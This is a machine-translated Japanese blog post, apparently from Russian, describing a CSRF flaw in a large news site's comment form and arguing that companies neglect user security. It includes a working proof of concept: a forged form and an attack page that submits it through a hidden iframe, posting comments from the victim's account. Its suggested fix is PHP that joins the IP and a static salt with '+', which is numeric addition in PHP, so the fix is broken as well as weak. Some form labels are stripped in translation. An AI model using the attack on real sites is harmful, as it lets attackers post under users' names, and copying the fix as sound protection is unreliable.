叙情的な余談
状況を想像してみてください...あなたは単純なインターネットユーザーです。 毎日、さまざまなサイトにアクセスし、そこでニュースを読み、ソーシャルネットワークで通信し、メールを閲覧します。 すべてがいつも通りです。 しかしある日、彼らはあなたのアパートのドアをノックします。 「誰がいるの？」という質問に対して、彼らはあなたに答えます：「警察を開いてください！」。 彼らはあなたを白いハンドルの下に連れて行き、最も近い部門に付き添います。 あなたは「何のために」困惑しています。 それに対して、「民族的憎悪を扇動することを求めるメッセージをインターネット上で体系的に公開する」と聞きます。 どうやって？ なんで？ このようなメッセージを書いたことはありません！ これらの申し立てに応じて、アカウントの下から実際に書き込まれ、その内容がロシア連邦の法律に明らかに違反しているいくつかの有名な情報リソースに関する一連のメッセージが表示されます。 最も興味深いのは、メッセージの送信元のIPアドレスも自宅と一致することです。 おそらく、これはあなたと一緒に住んでいて、キーボードの上を歩いて、誤ってこれらのメッセージを入力して別のサイトに送信された猫です。 おそらく彼らはあなたを信じさえするでしょう...そして、2年の禁固刑の期間は暗黙のうちに地平線上に迫りました。
それで、実際に何が起こったのですか？ そして、次のことが起こりました...
いわゆる「よく知られている情報リソース」は、ユーザーのセキュリティに無責任にアプローチしました。 あなたが侵入者の犠牲になったのは、自分で疑うことなくプログラマーによって書かれた穴のあいたコードのためです。
理論のビット
私たちは長い間茂みを回りません。すぐに仕事に取り掛かりましょう。 CSRFのような脆弱性があります。 多くの人はそれが何であるか知っていますが、知らない人のために、ウィキペディアから切り抜きを与えます：
CSRF（クロスサイトリクエストフォージェリー、XSRFとも呼ばれる）は、HTTPプロトコルの欠点を利用するWebサイト訪問者に対する攻撃の一種です。 被害者が攻撃者によって作成されたサイトにアクセスすると、攻撃者に代わって、何らかの悪意のある操作（攻撃者のアカウントへの送金など）を実行する別のサーバー（支払いシステムサーバーなど）にリクエストが密かに送信されます。 この攻撃を実行するには、リクエストの送信先サーバーで被害者を承認する必要があります。このリクエストでは、ユーザーからの確認は必要ありません。確認は攻撃スクリプトによって無視または偽装することはできません。
このような脆弱性は、1つの「既知の情報リソース」で検出されました（1日あたりの出席者数は2,000,000を超えています）。 ここでは、このリソースの名前を意図的に提供していません。 発見された「穴」が管理者に通知されてから1週間（！）
ストリートマジック
私たちのサイトにはニュースセクションがあります。 それらは頻繁に更新され、ほとんどすべてのニュース項目にコメントを残すことができます。 平均して、1つのニュース項目に約数百のコメントが残ります。 見つかった脆弱性はどのように悪用されますか？
コメントを追加しようとしています。 メッセージを送信するために記入する必要があるフォームに直面しています。
ページのソースコードを開きます。 メッセージ送信フォームの形成を担当するコードを探しています。
<form onsubmit="return checkNCForm(this);" method="post" name="comment" action="/politics/7082376/comments/#add_begin"> <input type="hidden" value="1" name="save"> <input type="hidden" value="1" name="begin_reply"> <div class="description"> , / .<br><br> :<br> - ;<br> - , , ;<br> - ;<br> - ;<br> - ;<br> - ;<br> - . </div> <input type="hidden" value="1" name="doauth"> <div class="form"> <table> <tbody><tr> <th> :</th> <td><input type="text" class="readonly" readonly="readonly" value=" "></td> </tr> <tr> <th>:</th> <td><input type="text" value="" maxlength="60" name="title"></td> </tr> <tr> <th>:</th> <td><textarea rows="5" cols="30" name="text"></textarea></td> </tr> <tr> <th></th> <td class="submit"> <input type="submit" value=""> <a href="/politics/7082376/comments/?" onclick="return closeNCForm();"></a> </td> </tr> </tbody></table> </div></form>
コンテンツから、送信者の信頼性はどこでも検証されていないことがわかります。 通常、これはさまざまなパラメーターのハッシュです。 元のフォームから不要なものをすべて削除し、必要なテキストをフィールドに入力します。
<form method="post" name="comment" action="http://news.example.ru/politics/7082376/comments/#add_begin" > <input type="hidden" value="1" name="save"> <input type="hidden" value="1" name="begin_reply"> <input type="hidden" value="1" name="doauth"> <input type="text" class="readonly" readonly="readonly" value=" "> <input type="text" value="" maxlength="60" name="title"> <textarea rows="5" cols="30" name="text"> :)</textarea> <input type = "hidden" value=""> <input type = "submit"> </form>
フォームの準備が整い、フィールドに入力されました。 ここで、攻撃者は、ユーザーが自分のサイトにアクセスしたときに、攻撃者によって生成されたメッセージがユーザーのアカウントから指定されたニュースに知らずに送信されることを確認する必要があります。 これを行うために、攻撃者は新しく形成されたフォームをiframeに配置します。これにより、ユーザーには見えなくなります。 JavaScriptを使用してフォームを送信します。 攻撃ページのコードは次のようになります。
<script> function submit_form(){ window.evilframe.document.forms[0].submit(); } </script> <iframe name='evilframe' src='form.html' style='display:none' onLoad=submit_form();></iframe> evil page in action...
form.htmlは偽のフォームです。
ユーザーが攻撃サイトにアクセスした後、「情報リソース」で、攻撃者が特定したニュースへのコメントで、彼はコメントを見ることができました。
おそらく、彼はどこかにコメントを残したことさえ知らないでしょう。
私は自分でこの脆弱性をテストし、実験について事前に警告するために友人の一人と一緒に参加することも求めました。 特定のリンクにアクセスした後、結果が予想されました。
これはどのように「処理」されますか？
この脆弱性は、特定の文字セットが特定のアルゴリズムに従って形成されるフォームに1つの非表示フィールドを追加することで修正できます。 攻撃者がCSRFのような攻撃を実行できるようにするには、最初にこの文字セットを正しく選択する必要があります。
簡単な例を挙げます。 この場合、ハッシュmd5は特定の文字セットとして機能します。 [ユーザーのIPアドレス] + [ランダムな文字の静的セット]という式から取得します。
$hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb'); echo '<input name="hash" type="hidden" value="'.$hash.'">';
サーバーで、フォームを送信した後、ハッシュを確認します。
$hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb'); if (isset($_POST["otvet"]) && ($hash == $_POST["hash"])) { - } else {, };
主なものについて簡単に
今年は、情報セキュリティ問題の分野で画期的な年になりました。 大企業の多くのサイトがハッキングされています。 ほとんどの場合、これらのハッキングは、企業の経営陣が情報セキュリティの問題に十分な注意を払っていないという事実のために行われました。 原則として、これらのリソースの単純なユーザーは、主に資格情報、メールボックス、クレジットカードデータなどに苦しみました。
この点で、このトピックのタイトルの質問に戻りたいと思います。 大企業には、ユーザーの安全性を無視する権利がありますか？ 情報セキュリティの分野の専門家を節約して、顧客/ユーザーのセキュリティを損なうことは可能ですか？ 重大な脆弱性が発見されてから数週間または数か月間放置された場合、過失過失は処罰されるべきですか？ たぶん、大企業が自社のサービスで遵守すべき何らかの標準化が必要ですか？ このトピックについて考えてみましょう。または、現在の構造を揺るがすために何らかのアクションを起こすかもしれません...
更新：トピックの名前を少し変更しました。 そして、それはどういうわけか大まかに判明し、まったく正しくありませんでした:(